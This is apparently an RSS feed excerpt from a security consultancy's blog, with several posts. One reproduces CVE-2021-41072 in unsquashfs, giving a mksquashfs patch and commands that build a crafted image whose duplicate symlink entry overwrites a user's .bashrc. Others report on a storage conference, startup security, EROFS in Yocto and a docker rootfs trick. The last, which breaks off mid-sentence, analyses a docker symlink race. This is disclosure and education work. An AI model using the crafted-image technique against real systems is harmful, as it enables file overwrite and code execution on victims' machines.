<li>Raw kernel interfaces and instrumentation facilities expose a unified priority, often in a normalised/shifted way. Here be dragons.</li>
</ul>
]]></content:encoded></item><item><title>Re-exploiting unsquashfs</title><link>https://sigma-star.at/blog/2022/01/re-exploiting-unsquashfs/</link><pubDate>Mon, 10 Jan 2022 00:00:00 +0100</pubDate><author>Aaron Marcher</author><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/01/re-exploiting-unsquashfs/</guid><description><![CDATA[<h1 id="re-exploiting-unsquashfs">Re-exploiting unsquashfs</h1>
<p><a href="https://www.kernel.org/doc/html/latest/filesystems/squashfs.html">Squashfs</a> is a
compressed read-only filesystem for Linux that is commonly used on embedded systems,
rescue systems or similar cases. The <em>squashfs-tools</em> package provides a set of userspace
tools to create, modify and unpack squashfs image files. Prominent among security researchers
is the <em>unsquashfs</em> tool which extracts a squashfs image to specified path.</p>
<p>In 2021 commit
<a href="https://github.com/plougher/squashfs-tools/commit/79b5a555058eef4e1e7ff220c344d39f8cd09646">79b5a555058e (&ldquo;Unsquashfs: fix write outside destination directory exploit&rdquo;)</a>
introduced a fix for <em>unsquashfs</em> that intends to fix vulnerability
<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-40153">CVE-2021-40153</a>:
A specially crafted filesystem could trick the <em>unsquashfs</em> tool to overwrite
arbitrary files.</p>]]></description><content:encoded><![CDATA[<h1 id="re-exploiting-unsquashfs">Re-exploiting unsquashfs</h1>
<p><a href="https://www.kernel.org/doc/html/latest/filesystems/squashfs.html">Squashfs</a> is a
compressed read-only filesystem for Linux that is commonly used on embedded systems,
rescue systems or similar cases. The <em>squashfs-tools</em> package provides a set of userspace
tools to create, modify and unpack squashfs image files. Prominent among security researchers
is the <em>unsquashfs</em> tool which extracts a squashfs image to specified path.</p>
<p>In 2021 commit
<a href="https://github.com/plougher/squashfs-tools/commit/79b5a555058eef4e1e7ff220c344d39f8cd09646">79b5a555058e (&ldquo;Unsquashfs: fix write outside destination directory exploit&rdquo;)</a>
introduced a fix for <em>unsquashfs</em> that intends to fix vulnerability
<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-40153">CVE-2021-40153</a>:
A specially crafted filesystem could trick the <em>unsquashfs</em> tool to overwrite
arbitrary files.</p>
<p>This fix however, missed an important part, which allows practically the same
exploit in another way. This vulnerability is identified as
<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-41072">CVE-2021-41072</a>.</p>
<p>Vulnerabilities of this sort are especially problematic since <em>unsquashfs</em> is widely
used among security researchers to analyze the firmware of embedded systems. A carefully crafted
squashfs will work perfectly fine when mounting in Linux but can overwrite
files when unpacking and thus compromise the system of the security researcher.</p>
<h2 id="lets-do-it-again">Let&rsquo;s do it again</h2>
<p>Let&rsquo;s take a closer look at how <code>CVE-2021-40153</code> was fixed and how we can bypass this fix for <code>CVE-2021-41072</code>:</p>
<p>Squashfs stores the filename in the directory entry, which <em>unsquashfs</em> uses
to create the new file while unpacking. However, <em>unsquashfs</em> did not validate the filename for
directory traversal outside the destination before commit <a href="https://github.com/plougher/squashfs-tools/commit/79b5a555058eef4e1e7ff220c344d39f8cd09646">79b5a555058e</a>.
A specially crafted squashfs image could thus write to locations outside the target directory, such as
<code>/etc/crontab</code> when unpacked with <em>unsquashfs</em>. This in turn could
lead to code execution.</p>
<p>The fix for <code>CVE-2021-40153</code> validates that no file in a squashfs image may contain slashes nor a
dot-dot sequence (<code>..</code>) which makes it impossible to have filenames that point outside
the target directory.</p>
<p>But there is another way to break outside the target directory while
unsquashing: Using good old symlinks!</p>
<p>First, we notice that <em>unsquashfs</em> has no check whether a directory already contains multiple directory
entries with the same name. We can thus craft a <em>valid</em> filesystem with multiple identically named
files in the same directory. During unpacking, <em>unsquashfs</em> will just overwrite the contents of the existing file.</p>
<p>When we combine this so that we first create a symlink which points outside the target directory,
we can then overwrite this target file&rsquo;s contents with the identically named regular file in the
squashfs image. This works, because <em>unsquashfs</em> will just follow the symlink it created.</p>
<h2 id="exploiting-the-issue">Exploiting the issue</h2>
<p>So, let&rsquo;s create a new squashfs filesystem that contains a symlink with the
name <code>a-symlink.txt</code> that points to the user&rsquo;s <code>.bashrc</code>. In the next step, we will patch
<em>mksquashfs</em> such that it will create a crafted filesystem where <code>a-symlink.txt</code> is both, a symlink
<strong>and</strong> a regular file:</p>
<pre><code>diff --git a/squashfs-tools/mksquashfs.c b/squashfs-tools/mksquashfs.c
index 127df00fb789..d9ea11a5e175 100644
--- a/squashfs-tools/mksquashfs.c
+++ b/squashfs-tools/mksquashfs.c
@@ -1141,9 +1141,13 @@ static void add_dir(squashfs_inode inode, unsigned int inode_number, char *name,
	struct squashfs_dir_entry idir;
	unsigned int start_block = inode &gt;&gt; 16;
	unsigned int offset = inode &amp; 0xffff;
-       unsigned int size = strlen(name);
+       unsigned int size;
	size_t name_off = offsetof(struct squashfs_dir_entry, name);

+       if (strcmp(name, &quot;z-payload.txt&quot;) == 0)
+               name = &quot;a-symlink.txt&quot;;
+
+       size = strlen(name);
	if(size &gt; SQUASHFS_NAME_LEN) {
		size = SQUASHFS_NAME_LEN;
		ERROR(&quot;Filename is greater than %d characters, truncating! ...&quot;
</code></pre>
<p>Create a filesystem that will include <code>z-payload.txt</code> (which can be a hostile script) as <code>a-symlink.txt</code>:</p>
<pre><code>$ ln -s ../.bashrc a-symlink.txt
$ echo &quot;echo Whooops!&quot; &gt; z-payload.txt
$ mksquashfs.patched . ../image.sfs
</code></pre>
<p>Now we have a filesystem with two identical file names in the same directory.
One <code>a-symlink.txt</code> is a symlink that points to <code>../.bashrc</code>, the other one is a regular
file which contains the text <code>echo Whooops!</code>.</p>
<p>Squashfs directory entries have an order and are usually sorted.
This is why our evil <code>a-symlink.txt</code> has <code>z-payload.txt</code> as original name, that way
we ensure that <em>unsquashfs</em> first creates the symlink and later writes the
regular file.</p>
<p>To make the exploit more flexible, the crafted image can even contain a whole
series of <code>../.bashrc</code> target paths with different path depths. This way, the
path is determined automatically. In this example we will add only one symlink
to keep it simple.</p>
<p>When Linux mounts the crafted filesystem, <strong>it reports no error</strong>. It just
lists the <code>a-symlink.txt</code> symlink twice:</p>
<pre><code>$ mount -o loop ../image.sfs /mnt/
$ ls -l /mnt/
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -&gt; ../.bashrc
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -&gt; ../.bashrc
</code></pre>
<p>But when unsquashing, it overwrites the <code>bashrc</code> in the user&rsquo;s home directory
(given <code>unsquashfs</code> is executed one directory layer below $HOME in this example):</p>
<pre><code>$ pwd
/home/user/directory
$ unsquashfs -d destination/ ../image.sfs
</code></pre>
<p>On next login, our message will appear when the shell follows the symlink written
over the user&rsquo;s <code>bashrc</code> (and thus parses our <code>z-payload.txt</code> contents):</p>
<pre><code>Whooops!
$
</code></pre>
<p>Exploit successful!</p>
<h2 id="mitigating-the-problem">Mitigating the problem</h2>
<p>Commit
<a href="https://github.com/plougher/squashfs-tools/commit/e0485802ec72996c20026da320650d8362f555bd">e0485802ec72 (&ldquo;Unsquashfs: additional write outside destination directory exploit fix&rdquo;)</a> fixes <code>CVE-2021-41072</code>.</p>
<p>It does so by explicitly checking for duplicate filenames within a
directory by using sorted directories in <em>v2.1</em>, <em>v3.x</em> and <em>v4.0</em> filesystems
and checking for consecutively identical filenames. Additionally, it ensures
sorted directories for <em>v1.x</em> and <em>v2.0</em> filesystems (no native sorting
available), by manually sorting first.</p>
]]></content:encoded></item><item><title>Alpine Linux Persistence and Storage Summit 2021</title><link>https://sigma-star.at/blog/2021/11/alpss-2021/</link><pubDate>Sat, 20 Nov 2021 00:00:00 +0100</pubDate><author>David Gstir</author><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2021/11/alpss-2021/</guid><description><![CDATA[<h1 id="alpine-linux-persistence-and-storage-summit-2021">Alpine Linux Persistence and Storage Summit 2021</h1>
<p>The <a href="https://alpss.at">Alpine Linux Persistence and Storage Summit (ALPSS)</a> was back this year in October. Again, the program committee consisting of Christoph Hellwig,
Johannes Thumshirn and our own Richard Weinberger did a great job in organizing the get-together of the Linux Kernel Storage community. Like previous times, it took place at Lizumer Hütte (roughly 2000m altitude!) in the Tuxer Alps in Tyrol, Austria.</p>
<figure>
<img src="title.jpg" loading="lazy" decoding="async" alt="ALPSS 2021 Snow Edition" width="1600" height="1067"></figure>
<h2 id="day-1-pizza-and-hiking">Day 1: Pizza and Hiking</h2>
<p>The conference started on Tuesday with a nice pre-conference lunch (Pizza) in Innsbruck. Afterward, we took Taxis to Lager Walchen in the Wattental. Then it was time for everybody to put on their rain-proof hiking gear and shoulder the rucksacks. We hiked up the <em>Zirbenweg</em>
to the Lizumer Hütte, a small path with some nice views for taking photos. After some
sweating and puffing, we arrived there roughly two hours later and were greeted by the lodge-keeper with great food and drinks.</p>]]></description><content:encoded><![CDATA[<h1 id="alpine-linux-persistence-and-storage-summit-2021">Alpine Linux Persistence and Storage Summit 2021</h1>
<p>The <a href="https://alpss.at">Alpine Linux Persistence and Storage Summit (ALPSS)</a> was back this year in October. Again, the program committee consisting of Christoph Hellwig,
Johannes Thumshirn and our own Richard Weinberger did a great job in organizing the get-together of the Linux Kernel Storage community. Like previous times, it took place at Lizumer Hütte (roughly 2000m altitude!) in the Tuxer Alps in Tyrol, Austria.</p>
<figure>
<img src="title.jpg" loading="lazy" decoding="async" alt="ALPSS 2021 Snow Edition" width="1600" height="1067"></figure>
<h2 id="day-1-pizza-and-hiking">Day 1: Pizza and Hiking</h2>
<p>The conference started on Tuesday with a nice pre-conference lunch (Pizza) in Innsbruck. Afterward, we took Taxis to Lager Walchen in the Wattental. Then it was time for everybody to put on their rain-proof hiking gear and shoulder the rucksacks. We hiked up the <em>Zirbenweg</em>
to the Lizumer Hütte, a small path with some nice views for taking photos. After some
sweating and puffing, we arrived there roughly two hours later and were greeted by the lodge-keeper with great food and drinks.</p>
<h2 id="day-2-storage-mixed-with-snow">Day 2: Storage mixed with Snow</h2>
<p>The next day started with a lot of snow, a joint breakfast in the cozy common room, and of course the first talks. First off were Joel Colledge and Philipp Reisner from LINBIT
with their talk on performance optimizations in the
<a href="https://linbit.com/drbd/">Distributed Replicated Storage System (DRDB)</a>. They
showcased areas of DRDB where they have done or plan to do performance improvements.
One area directed to more exotic storage hardware like <a href="https://en.wikipedia.org/wiki/Persistent_memory">Persistent memory (PMEM)</a>, and three general optimizations.</p>
<p>They were followed by Richard Weinberger with a talk about his side project MUSE. MUSE
enables emulating <a href="http://www.linux-mtd.infradead.org/">Memory Technology Devices (MTD)</a>
in userspace using the FUSE interface. Until now we already had nandsim (<code>CONFIG_MTD_NAND_NANDSIM</code>)
to emulate NAND chips, but MUSE gives a much more flexible and hackable approach. It
also supports SPI NOR and other types of flash storage.
This is especially helpful for us at sigma star gmbh when debugging NAND, MTD, or UBIFS
issues for our customers. (Hint: keep a lookout for a future, dedicated post about MUSE here at the <a href="https://blog.sigma-star.at">sigma star blog</a>).</p>
<p>While it was still snowing heavily outside, we continued with two short talks by
Hannes Reinecke from SUSE on NVMe over Fabrics in-band authentication and NVMe
userspace events and interaction. Especially the talk on in-band authentication was
truly interesting. Hannes explained how the NVMe 2.0 specification describes an
authentication approach over TCP and how he implemented it for the Linux
Kernel. This spiked some discussion since the approach seems to reinvent the wheel
as it is very similar to TLS 1.3. More to the point, it is simply an ephemeral
Diffie-Hellman exchange that results in a shared session key. According to Hannes,
this session key is then <em>not used any further</em>, unless one also uses NVMe encryption,
which is just plain TLS 1.3. The conclusion among the participants of ALPSS was that the current specification should probably be improved before it is ready for wider use.</p>
<p>After a short tea break (and more snow), we continued with two talks by Damien Le Moal
from Western Digital on command duration limits and Multi-actuator HDDs. In his first talk,
Damien described his experiments with high throughput while still minimizing command execution
latency. He showed a more general approach called Command Duration Limits (CDL) which
expands on the ATA NCQ IO priority feature common to many SATA hard disks. Where ATA NCQ IO
priority is only available via ATA, CDL is usable for both ATA and SCSI. The general idea of CDL
is to augment disk commands with time limits and a policy on what to do if any limit is exceeded.
In his second talk, Damien showcased his findings on the performance of varying payloads on Multi-actuator HDDs.</p>
<p>Since it was still snowing a lot, hiking was canceled and the afternoon continued with BoFs and
discussions on a multitude of storage topics. The evening concluded with great food, drinks, and loads
of socializing.</p>
<h2 id="day-3-more-storage">Day 3: More Storage</h2>
<p>The third day started with a presentation from Matias Bjørling on the current state of Zoned Namespace SSDs
on Linux followed by a discussion about what kind of applications can benefit from ZNS.
Right afterward, John Meneghini gave insights into his work on a technical proposal to improve NVMe abort (TP-4097).
The presentation was closed by a lengthy discussion about whether an abort command should be executed on the admin queue or not.</p>
<p>After a short coffee break to finally wake up, Dennis Maisenbacher presented a novel approach to implementing a
Flash Translation Layer (FTL) on top of zoned devices using a Linux device-mapper driver, DM-zap.
Various developers in the audience got confused by the usage of the word block on his slides.
A block can be seen as a 512b/4k sector unit of a hard disk or an erase block of a flash-based device.
In the end, everyone agreed that Dennis had the best ASCII art graphics of all presenters so far. ;-)
The next talk focused also on zoned devices. Christoph Hellwig showed his work on a virtual block device that
allows random access to zones. The device format is log-structured and makes use of Log-Structured Merge (LSM) trees.
During the break, Christoph did a demo of <a href="https://xfs.wiki.kernel.org">XFS</a> running on top of his log-structured disk.</p>
<p>Keith Busch gave insights into his recent proposal on RAID support for zoned devices. A short discussion emerged whether it is good or not to utilize the page cache for this.
Johannes Thumshirn closed the session with his idea on declustered parity RAID support on <a href="https://btrfs.wiki.kernel.org">btrfs</a>.
This RAID mode allows arbitrarily sided disks in a RAID system.</p>
<p>With the weather still being bad, most attendees stayed inside and enjoyed the surprisingly well-working internet connection of the lodge.
After another excellent dinner, various discussions emerged and ended not seldom in heated debates.</p>
<p>Finally, Hans Holmberg offered two bottles of excellent Champagner he carried himself up to the lodge to celebrate our long-awaited meetup.</p>
<h2 id="day-4-back-down-and-farewells">Day 4: Back down and Farewells</h2>
<p>The last day of ALPSS concluded with a last joint breakfast, packing rucksacks, and hiking back to
the base. This time we took the road down to Lager Walchen which made the hike down a bit quicker
and especially safer when there is snow. With everybody safe back in the valley, we said our farewells
and made our way back home.</p>
<p>Like every time, ALPSS was a great mix of in-depth, to-the-point talks and discussions on the latest in Linux Storage and the breathtaking scenery of the Tyrolean Alps.</p>
]]></content:encoded></item><item><title>How security-integration for IT Startups works best</title><link>https://sigma-star.at/blog/2021/09/security-for-startups/</link><pubDate>Tue, 14 Sep 2021 00:00:00 +0200</pubDate><author>Thomas Dierl</author><guid>https://sigma-star.at/blog/2021/09/security-for-startups/</guid><description>&lt;h1 id="how-to-integrate-security-in-it-startups">How to integrate security in IT Startups&lt;/h1>
&lt;p>IT Startup companies often aim at building a minimal viable product as fast as possible to reduce costs. They just forget one thing: a strategy like that can be costly later on. Especially if the security part was dismissed in the development phase. If a Startup invests some money into security right from the scratch, the costs will be much lower in the end. Why? And what is our strategy to build security in IT Startup companies? Find out more in the following lines.&lt;/p></description><content:encoded><![CDATA[<h1 id="how-to-integrate-security-in-it-startups">How to integrate security in IT Startups</h1>
<p>IT Startup companies often aim at building a minimal viable product as fast as possible to reduce costs. They just forget one thing: a strategy like that can be costly later on. Especially if the security part was dismissed in the development phase. If a Startup invests some money into security right from the scratch, the costs will be much lower in the end. Why? And what is our strategy to build security in IT Startup companies? Find out more in the following lines.</p>
<h2 id="it-security-a-brief-history">IT security: a brief history</h2>
<p>Over the last 20+ years IT security changed a lot. In the 1990s, it was only a topic for operation system vendors and virus scanning software. But in the early 00 years malware and malicious software started to attack specific applications. From that point on security needed to be an integral part of software development. The goal was clear: avoid misuses from malicious software and malware. They can easily lead to data breaches and data losses, as well as reputational damage, which is fatal for a Startup.</p>
<h2 id="examples-for-a-lack-of-security-in-it-products">Examples for a lack of security in IT products</h2>
<p>There are a lot of examples for such security breaches in software:</p>
<ul>
<li><a href="https://www.zdnet.com/article/security-vulnerabilities-in-these-popular-smart-cameras-let-hackers-turn-them-into-surveillance/">Smart Security Cameras</a></li>
<li><a href="https://labs.bitdefender.com/2019/11/ring-video-doorbell-pro-under-the-scope/?adobe_mc=MCMID%3D37392847136096060720966158880249896652%7CMCORGID%3D0E920C0F53DA9E9B0A490D45%2540AdobeOrg%7CTS%3D1573195253">Doorbells</a></li>
<li><a href="https://securityledger.com/2020/11/security-holes-opened-back-door-to-tcl-android-smart-tvs/#:~:text=Millions%20of%20Android%20smart%20television,to%20surveil%20the%20set%27s%20owners">Smart TVs</a></li>
<li><a href="https://www.techrepublic.com/article/report-smart-bulbs-have-a-major-security-problem/">Smart Bulbs</a></li>
<li><a href="https://www.cybersecurity-insiders.com/smart-coffee-machines-can-allow-hackers-to-steal-id-and-passwords/">Coffee Machines</a></li>
</ul>
<h2 id="implementation-of-the-security">Implementation of the security</h2>
<p>Security is everywhere. So it is not just a switch that needs to be turned on, or a final security test. As the examples show, security needs to be in every part of the software product, such as</p>
<ul>
<li>the software itself</li>
<li>data layer</li>
<li>cloud layer</li>
<li>network layer</li>
<li>deployment layer</li>
</ul>
<p>As a result, security needs to be integrated in the whole software development process - which means that every phase of the software development is affected, from requirements to maintenance. Furthermore, the team needs to be trained to have the security aspects in mind during the whole process.</p>
<h2 id="the-importance-of-security-implementation-in-the-beginning">The importance of security implementation in the beginning</h2>
<p>In many cases - as the examples above have shown - security is not in the focus of software projects at all. High costs are the consequence. For big companies that would be tremendous. For Startups it can be more grave: in the worst case it means to go bankrupt because of such an issue.</p>
<p><strong>Our recommendation:</strong> Mind security right from the beginning.</p>
<h3 id="fixing-security-issues-costs">Fixing security issues: costs</h3>
<p>The earlier an issue is discovered the cheaper it can be fixed. If an issue is found in the design phase it is relatively convenient to fix it. If the lack of security is not fixed, the costs to overhaul it in production can be up to 100 times more. That makes clear that the later an issue is found the more problems can arise.</p>
<figure>
<img src="https://sigma-star.at/blog/2021/09/security-for-startups/cost.png" loading="lazy" decoding="async" alt="Costs of a security issue compared to point in time found - refs https://snyk.io/learn/secure-sdlc/" width="600" height="350"></figure>
<h2 id="security-in-it-startups-the-sigma-star-approach">Security in IT Startups: the sigma star approach</h2>
<p>Our special offer for Startups is to implement security right from the beginning. How that works? We bring an experienced sigma star security engineer into your team. He will train the developers and ensures that security is governed at every phase of the development life cycle of the new product. The alternative would be to employ many experienced developers and engineers for all necessary tasks which is very costly over all. To have a security specialist joining the team allows the other team members to focus on their main tasks: the development and evolution of the product itself.</p>
<p><strong>Advantages in a nutshell</strong></p>
<ul>
<li>reduced costs</li>
<li>team members can focus on their core job</li>
<li>security built into the product</li>
<li>as we share our knowledge your team gets better at security topics over time and can finally go on their own</li>
</ul>
<p>You have a Startup and need support with security issues? Feel free to contact us. The earlier, the better.</p>
]]></content:encoded></item><item><title>Enhanced Read-Only File System (EROFS) lands in Yocto</title><link>https://sigma-star.at/blog/2021/09/yocto-erofs/</link><pubDate>Thu, 09 Sep 2021 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2021/09/yocto-erofs/</guid><description><![CDATA[<h1 id="enhanced-read-only-file-system-erofs-lands-in-yocto">Enhanced Read-Only File System (EROFS) lands in Yocto</h1>
<p>The upcoming <a href="https://wiki.yoctoproject.org/wiki/Releases">Yocto 3.4 release</a>
will contain a small contribution by us. Over the last two years we learned to
love EROFS, so we decided to add support for it to Yocto
(<a href="http://git.yoctoproject.org/cgit/cgit.cgi/poky/commit/?id=63b3c44d273d03fe3ac98d6f7c8e8475b468b44e">commit</a>).</p>
<p>Usually when one wants a compressed read-only filesystem for Linux,
<a href="https://www.kernel.org/doc/html/latest/filesystems/squashfs.html">squashfs</a> is a good choice.
It has been around since almost two decades and offers a wide range
if different compression algorithms.</p>]]></description><content:encoded><![CDATA[<h1 id="enhanced-read-only-file-system-erofs-lands-in-yocto">Enhanced Read-Only File System (EROFS) lands in Yocto</h1>
<p>The upcoming <a href="https://wiki.yoctoproject.org/wiki/Releases">Yocto 3.4 release</a>
will contain a small contribution by us. Over the last two years we learned to
love EROFS, so we decided to add support for it to Yocto
(<a href="http://git.yoctoproject.org/cgit/cgit.cgi/poky/commit/?id=63b3c44d273d03fe3ac98d6f7c8e8475b468b44e">commit</a>).</p>
<p>Usually when one wants a compressed read-only filesystem for Linux,
<a href="https://www.kernel.org/doc/html/latest/filesystems/squashfs.html">squashfs</a> is a good choice.
It has been around since almost two decades and offers a wide range
if different compression algorithms.</p>
<p>Starting with version 5.4, Linux supports a new filesystem that is
optimized for compression and read-only storage,
<a href="https://www.kernel.org/doc/html/latest/filesystems/erofs.html">EROFS</a>.
Compared to squashfs it offers novel techniques such as fixed output
size compression and avoids usage of buffer heads.
This yields better read throughput with comparable compression ratio.
We will post another write-up soon which compares squashfs and EROFS in detail.</p>
<p>EROFS currently supports three compression algorithms, <strong>none</strong>, <strong>lz4</strong> and <strong>lz4hc</strong>.
When EROFS is used as target filesystem in Yocto, one of these has to be selected, just like for squashfs.
Just extend the <code>IMAGE_FSTYPES</code> variable with either <code>erofs</code>, <code>erofs-lz4</code> or <code>erofs-lz4hc</code>.
The resulting filesystem image file can be used just like a squashfs image on top of any block device.</p>
<p>Don&rsquo;t forget to enable EROFS in your kernel config, though!
Set at least <code>CONFIG_EROFS_FS</code> and <code>CONFIG_EROFS_FS_ZIP</code> in your kernel
configuration.</p>
<p>Enjoy!</p>
]]></content:encoded></item><item><title>Docker to the rescue in an unexpected way</title><link>https://sigma-star.at/blog/2021/08/docker-embedded-rootfs/</link><pubDate>Tue, 10 Aug 2021 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2021/08/docker-embedded-rootfs/</guid><description>&lt;h1 id="docker-to-the-rescue-in-an-unexpected-way">Docker to the rescue in an unexpected way&lt;/h1>
&lt;p>Imagine you find yourself in a restricted environment and you need some Linux
rootfs that runs on the embedded system you just managed get access to.
Of course the CPU architecture of the embedded system is not the same as your
workstation.
The circumstances are further complicated by the fact that the userspace should offer
enough tooling to build a C/C++ application.
In such a situation docker can help, but in an unexpected way.&lt;/p></description><content:encoded><![CDATA[<h1 id="docker-to-the-rescue-in-an-unexpected-way">Docker to the rescue in an unexpected way</h1>
<p>Imagine you find yourself in a restricted environment and you need some Linux
rootfs that runs on the embedded system you just managed get access to.
Of course the CPU architecture of the embedded system is not the same as your
workstation.
The circumstances are further complicated by the fact that the userspace should offer
enough tooling to build a C/C++ application.
In such a situation docker can help, but in an unexpected way.</p>
<p>Common solutions to deal with such a situation include manually bootstrapping
a Linux distribution, installing it in an emulator such as QEMU,
building a rootfs from scratch or trying to cross build the targeted application.
In any case, there is huge potential to waste a full day or more.</p>
<p>Here, rescue comes in form of docker. Actually the great service to the community
by major Linux distributions, docker just offers the tooling.
Especially Debian supports a wide range of CPU architectures. So let&rsquo;s ask
docker to pull a Debian image for the desired architecture and instead of
starting a container we export the image to use it on the target device.</p>
<p>In this example, Debian stable built for arm32v7 turned out to be useful.
Other useful images to deal with embedded systems are <strong>arm32v5/debian</strong>, <strong>arm64v8/debian</strong> or <strong>riscv64/debian</strong>.
Linux distributions such as Fedora also offer root filesystems for various CPU architectures.</p>
<pre><code>docker image pull arm32v7/debian:stable 
docker image save arm32v7/debian:stable | tar --wildcards --to-stdout -xf - &quot;*/layer.tar&quot; | tar xf - -C myroot/
</code></pre>
<p>After transferring myroot/ to the device and a few apt-get commands the
application could be compiled and run.</p>
<ul>
<li>Is it an ugly hack? Of course!</li>
<li>Is it unorthodox? True!</li>
<li>Are there better/other ways? Sure!</li>
<li>Can it save a lot of time? YES!</li>
</ul>
<p>There is one drawback to consider: these root filesystems usually come without
an init system such as SysV init or systemd. If you plan to boot from it,
better ask Linux to directly start into a shell using <strong>init=/bin/sh</strong>.</p>
]]></content:encoded></item><item><title>The condemned live longer: Symlink races</title><link>https://sigma-star.at/blog/2021/07/docker_cve-2018-15664/</link><pubDate>Fri, 30 Jul 2021 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2021/07/docker_cve-2018-15664/</guid><description>&lt;h1 id="the-condemned-live-longer-symlink-races">The condemned live longer: Symlink races&lt;/h1>
&lt;p>Symlink race vulnerabilities are common issues we encounter while performing code audits.
One might think that such bugs should not happen anymore and every developer can easily avoid them - sadly the reality is different.
In this blog post, we will have a closer look at a symlink race vulnerability from 2018 in docker. We think the vulnerability is quite interesting since it is easy to exploit but not so obvious to note while reviewing.
Attentive readers may ask themselves whether they’d have noticed the issue while developing or reviewing the affected lines of code.&lt;/p></description><content:encoded><![CDATA[<h1 id="the-condemned-live-longer-symlink-races">The condemned live longer: Symlink races</h1>
<p>Symlink race vulnerabilities are common issues we encounter while performing code audits.
One might think that such bugs should not happen anymore and every developer can easily avoid them - sadly the reality is different.
In this blog post, we will have a closer look at a symlink race vulnerability from 2018 in docker. We think the vulnerability is quite interesting since it is easy to exploit but not so obvious to note while reviewing.
Attentive readers may ask themselves whether they’d have noticed the issue while developing or reviewing the affected lines of code.</p>
<p>Due to their time-dependent nature, they are not always easy to exploit and therefore remain underrated.
On the other hand, sometimes they are exploitable with surprisingly little effort.
One of these bugs is the docker vulnerability CVE-2018-15664 from 2018.</p>
<h2 id="overview">Overview</h2>
<p>docker offers a way to copy files from/to a container. The basic syntax of the copy tool is:</p>
<pre><code>docker cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH|-
docker cp [OPTIONS] SRC_PATH|- CONTAINER:DEST_PATH
</code></pre>
<p>So to update the container&rsquo;s <code>/etc/passwd</code> file, a system administrator can execute a command such as:</p>
<pre><code>docker cp new_passwd ea7d702924bc:/etc/passwd
</code></pre>
<p>Where <code>ea7d702924bc</code> is the container ID.</p>
<p>Internally, <code>docker cp</code> shifts execution to the docker daemon which runs as root.
The daemon will resolve the path to the actual host path of the docker storage.
<code>ea7d702924bc:/etc/passwd</code> would resolve to <code>/var/lib/docker/btrfs/subvolumes/6383eed3/etc/passwd</code></p>
<p>Where <code>/var/lib/docker/btrfs/subvolumes/6383eed3</code>
is the root directory from the container point of view.
Depending on the type of docker storage, the path might be different.
In this example, we used btrfs subvolumes as storage.
For better illustration, please read <code>BASEDIR</code> as <code>/var/lib/docker/btrfs/subvolumes/6383eed3</code> from now on.</p>
<p>Things get interesting when symlinks are involved. Let&rsquo;s assume that within the container, <code>/etc/</code> is a symlink pointing to <code>/</code>. The docker daemon will determine that the last path component of <code>BASEDIR/etc</code> is a symlink.
Simply following the symlink is not allowed: It would redirect to <code>/</code>, in this context, the host filesystem root. So docker reads the contents of the symlink and applies it to the base directory of the container. The final path is <code>BASEDIR/</code>.</p>
<p>Therefore the <code>passwd</code> file will land in the container root directly instead of <code>/etc/</code>.
This is expected and nothing to worry about.</p>
<h2 id="under-the-hood">Under the hood</h2>
<p>To ensure that all file operations run within the container filesystem, docker sets up a new mount namespace.
The interesting steps are:</p>
<ol>
<li>Resolving the container path, including symlink check and sanitizing</li>
<li>Creating a new process with a new mount namespace</li>
<li>Sanitizing the new mount namespace with <code>pivot_root()</code> so that the root directory is within the container root</li>
<li>Performing the file operation relative to <code>/</code>.</li>
</ol>
<p>So, a simplified sequence of executed system calls could be:</p>
<pre><code>[pid  1724] lstat(&quot;BASEDIR/etc&quot;, {st_mode=S_IFLNK|0777, st_size=1, ...}) = 0
[pid  1724] readlinkat(AT_FDCWD, &quot;BASEDIR/etc&quot;, &quot;/&quot;, 128) = 1
[pid  1724] lstat(&quot;BASEDIR&quot;, {st_mode=S_IFDIR|0755, st_size=206, ...}) = 0
[pid  1724] fork() = 21681
[pid 21681] unshare(CLONE_NEWNS)
[pid 21681] mkdirat(AT_FDCWD, &quot;BASEDIR/.pivot_root918928353&quot;, 0700) = 0
[pid 21681] pivot_root(&quot;BASEDIR&quot;, &quot;BASEDIR/.pivot_root918928353&quot;) = 0
[pid 21681] chdir(&quot;/&quot;)                  = 0
[pid 21681] mount(&quot;&quot;, &quot;/.pivot_root918928353&quot;, 0xc420246fd3, MS_REC|MS_PRIVATE, NULL) = 0
[pid 21681] umount2(&quot;/.pivot_root918928353&quot;, MNT_DETACH) = 0
[pid 21681] unlinkat(AT_FDCWD, &quot;/.pivot_root918928353&quot;, AT_REMOVEDIR) = 0
[pid 21681] openat(AT_FDCWD, &quot;/passwd&quot;, O_WRONLY|O_CREAT|O_CLOEXEC, 0644) = 6
</code></pre>
<p>We observe that docker assumes that the sanitized path cannot change while it is working on it. That&rsquo;s where the root of the problem lies.
Consider that <code>/etc</code> within the container is not a symlink at the time of the check but it is changed to a symlink pointing to <code>/</code> right before <code>mkdirat()</code>.</p>
<p>Under this assumption the system call sequence could be:</p>
<pre><code>[pid 15509] lstat(&quot;BASEDIR/etc&quot;, {st_mode=S_IFDIR|0755, st_size=18, ...}) = 0
[pid 15509] fork() = 21630
[pid 21630] unshare(CLONE_NEWNS)
[pid 21630] mkdirat(AT_FDCWD, &quot;BASEDIR/etc/.pivot_root447772558&quot;, 0700) = 0
[pid 21630] pivot_root(&quot;BASEDIR/etc/&quot;, &quot;BASEDIR/etc/.pivot_root447772558&quot;) = 0
[pid 21630] chdir(&quot;/&quot;)                  = 0
[pid 21630] mount(&quot;&quot;, &quot;/.pivot_root447772558&quot;, 0xc4208981ed, MS_REC|MS_PRIVATE, NULL) = 0
[pid 21630] umount2(&quot;/.pivot_root447772558&quot;, MNT_DETACH) = 0
[pid 21630] unlinkat(AT_FDCWD, &quot;/.pivot_root447772558&quot;, AT_REMOVEDIR) = 0
[pid 21630] openat(AT_FDCWD, &quot;/passwd&quot;, O_WRONLY|O_CREAT|O_CLOEXEC, 0644) = 6
</code></pre>
<p>If <code>etc</code> is suddenly a symlink to <code>/</code>, the kernel will resolve <code>BASEDIR/etc/</code> to
